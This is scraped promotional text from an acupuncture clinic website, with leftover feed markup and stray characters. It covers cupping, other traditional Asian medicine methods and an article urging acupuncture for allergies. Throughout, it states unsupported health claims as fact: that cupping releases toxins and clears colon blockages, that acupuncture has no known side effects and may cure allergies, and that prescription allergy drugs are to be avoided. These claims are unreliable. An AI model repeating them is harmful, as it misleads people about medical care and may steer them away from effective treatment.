An adept acupuncturist will identify the proper pressure points in the body, knowing full well, that not identifying the proper point can worsen the condition and sponsor other medical problems. Seek treatment from a professional who has a proper knowledge about identifying the trigger points, TAM theory, long term apprenticeship or mentoring by a seasoned professional and a word of mouth, long list of referrals.

Cupping

?[Cupping] Although not widely used as an alternative method of treatment for cancer, some practitioners may use it to rebalance energy in the body that has been blocked by certain tumors.?
–American Cancer Society

Cupping is a method of treatment used in traditional Asian medicine (TAM) where a vacuum is created inside a cup and then placing the inverted cup on an ailing part of the body. The vacuum anchors the cup to the skin and pulls the skin upward. TAM practitioners understand that physical imbalance is due to stagnation or blocked chi and cupping will unblock and realign chi, thereby restoring health. Cupping is applied to specific points or regions of the body that are affected by pain. Cupping is especially appropriate where the pain is deeper than the top layers of tissue.

Cupping mobilizes tissues to:

  • release toxins
  • activates the lymphatic system
  • clears colon blockages
  • helps activate and clear the veins, arteries and capillaries
  • activates the skin, clears stretch marks, and improves varicose veins

The cups may be made of such things as wood (such as bamboo), plastic, glass, or metal.

Not to be confused with the percussive technique in Swedish massage called “cupping” or “clapping”, cupping was originally called “horn therapy” in ancient China. Instead of using cups, the developers used horns of various animals to create suction. Variations of it have been used in Turkey, Greece, France, Italy, and Eastern Europe. Cupping has a long history of use in acupuncture and has been combined with bloodletting. A therapy in its own right, specialists in cupping exist throughout Asia and are evolving worldwide. In the U.S., many practitioners of other healing modalities- massage, chiropractic, herbalists, nursing and allopathic physicians are adding this specialty for the benefit of their patients.

Benefits:?Cupping is a safe, non-invasive, and an inexpensive technique for colds, lung infections, and internal organ imbalance. Cupping improves muscle and joint pain, spasms, particularly in the back. As an alternative to acupuncture, cupping can be used when acupuncture needles pose a problem. Cupping therapy stimulates blood and lymphatic circulation.

 

Other Asian Medicine Methods

 

“Life is short, (the health) art is long…. It is not enough for the physician to do what is necessary, but the patient and attendant must do their part as well, and circumstances must be favorable.”?Hippocrates circa 431 B.C.

 

Other methods frequently used in a TAM treatment include:

  • ?Guasha? (the use of spoons to apply friction to the skin)
  • ” Moxi-bustion” (burning mugwort to heat the acupoints)
  • ?Tuina? (chinese massage)
  • “Chu” (non-invasive alternative to acupuncture, employs a set of acupoint tools)
  • “Electro-acupuncture” (the addition of an electrical current to non-puncturing acupuncture stimulators). Electro-acupuncture utilizes an external source of electricity attached to the acupuncture needles to create a current across two or more acupoints.

Electro-acupuncture is frequently used in scientific research. Although acupuncture has received more attention by the media, herbs used in a TAM treatment are of equal or greater importance to the overall treatment.

Chinese herbal formulas have been researched extensively in Asia; however, there is very little research to assess the outcome of multiple modalities of TAM to treat mild to severe conditions. This study, assuredly, would be impressive but widely known, quietly, by practitioners of Traditional Asian medicine.

 

]]> Acupuncture Treatment For Allergies in Acuherb Clinic http://acuherb.us/acupuncture-treatment-for-allergies-in-acuherb-clinic/ Sat, 06 Aug 2011 14:59:24 +0000 http://acuherb.us/?p=128

What Every Person Suffering From Allergies
Ought To Know-About Acupuncture.

There’s a Natural, Safe, Effective, and Drug FreeAlternative”

by Dr. Kenneth Wang

If seeing your first robin or watching the crocus beginning to surface makes you cringe, you are likely one of the millions of people that suffer from spring allergies in Davis every year. Before you run to the pharmacy for the nearest decongestant, consider acupuncture for the treatment of allergy symptoms that can include runny nose, congestion and watery eyes.

Are western medicine treatments the best we have available to us for the treatment of allergies?

The answer is a resounding NO! Treating allergies with acupuncture has become more widely acceptable because acupuncture has had no known side effects.

Why not try acupuncture instead of remaining dependent on potentially harmful prescription medications?

Western medicine admits that treatment with medication only manages symptoms;there is not a cure for allergies with traditional medication. Antihistamines, bronchodilators, decongestants and steroids can all be prescribed to treat allergy symptoms, depending on the severity of symptoms.

symptoms-of-allergiesAntihistamines including Zyrtec, Claritin, and Benadryl all can cause drowsiness and once the medication is stopped, symptoms resurface quickly if the allergen is still present. Antihistamines have been used for years to treat allergies and are generally the first medications prescribed for allergy sufferers.

Decongestants such as Sudafed, Afrin, or Claritin D can be used for a few days, but continual use can actually make symptoms worse. The side effects from decongestant use can include high blood pressure,insomnia or irritability. Combination medications that include both a decongestant and antihistamine are the most effective at treating chronic, seasonal allergies.

Bronchodilators are inhaled medications used to control asthma symptoms and remove mucous from the lungs. If overused, bronchodilators are potent drugs that can cause high blood pressure and rapid heart beats. Bronchodilators work by relaxing the muscle bands that constrict airflow, rapidly opening the airways and allowing breathing to improve.

acupuncture-for-allergiesSteroids (Flonase, Flovent, Nasonex) are also used for the treatment of severe allergies and side effects can include weight gain, high blood pressure, fluid retention,muscle weakness and diabetes. It may take one to two weeks of daily usage for steroids to become effective in the treatment of allergy symptoms.

Acupuncture relieves nasal congestion, watery eyes,itchy nose, and chronic nasal membrane inflammation by opening up energy channels and allowing the body’s own immune system to heal itself.

There is potential for allergies to be cured by the use of acupuncture. The only way to learn how acupuncture will alleviate your allergies is to try a few sessions with a certified Davis Acupuncturist and see how you feel. The goal of any allergy sufferer should be to take as little prescription medication as possible and still be free of allergy symptoms.

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